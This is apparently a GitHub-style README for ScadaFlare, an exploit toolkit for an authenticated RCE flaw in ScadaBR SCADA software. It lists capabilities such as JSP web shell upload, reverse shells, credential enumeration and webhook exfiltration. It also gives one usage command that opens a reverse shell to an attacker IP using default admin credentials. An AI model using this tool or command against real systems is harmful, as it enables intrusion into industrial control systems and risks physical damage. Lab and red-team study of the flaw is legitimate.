ScadaFlare - CVE-2021-26828 Authenticated RCE Exploitation Toolkit

A modular post-auth RCE exploit targeting ScadaBR <1.1.0, enhanced for red team ops.

Features

• Uploads weaponized .jsp shell via view_edit.shtm
• Supports Linux & Windows payloads
• SOCKS5 / HTTP proxy support
• Reverse shell trigger (standard or base64)
• Enumeration modules (DB, creds, Log4Shell, etc.)
• Webhook exfil (Slack / Discord)
• Metasploit resource script generation
• Cleanup support (kill switch)

MITRE ATT&CK Technique Mapping

CVE

• CVE-2021-26828
• Discovered by Fellipe Oliveira
• Exploit enhanced & modularized

Why This Exists

This exploit was developed during analysis of the HTB Pro Lab: Alchemy scenario. The original PoC by Fellipe Oliveira was solid but:

Written in Python 2

Lacked modern features like proxy support, shell cleanup, enumeration chaining

Was difficult to extend or integrate into red team workflows

This version, ScadaFlare, is a full rewrite in Python 3 with modular support, multiple evasion strategies, OS detection override, webhook integration, SOCKS proxy support, and enumeration chains for real world operator use.

Usage

python3 scadaflare.py http://172.16.0.20:80 admin admin \
  --reverse-ip 10.10.14.44 --reverse-port 4445 \
  --verbose --cleanup

Legal & Ethical Use Only

ScadaFlare is designed solely for:

• Ethical hacking education
• SCADA lab testing
• Defensive research & vulnerability validation

Unauthorized use against real industrial systems can:

• Disrupt physical processes
• Cause damage or safety hazards
• Result in severe legal consequences

By using this tool you accept full responsibility for:

• Obtaining explicit written authorization
• Operating only within approved environments

License

MIT License – see LICENSE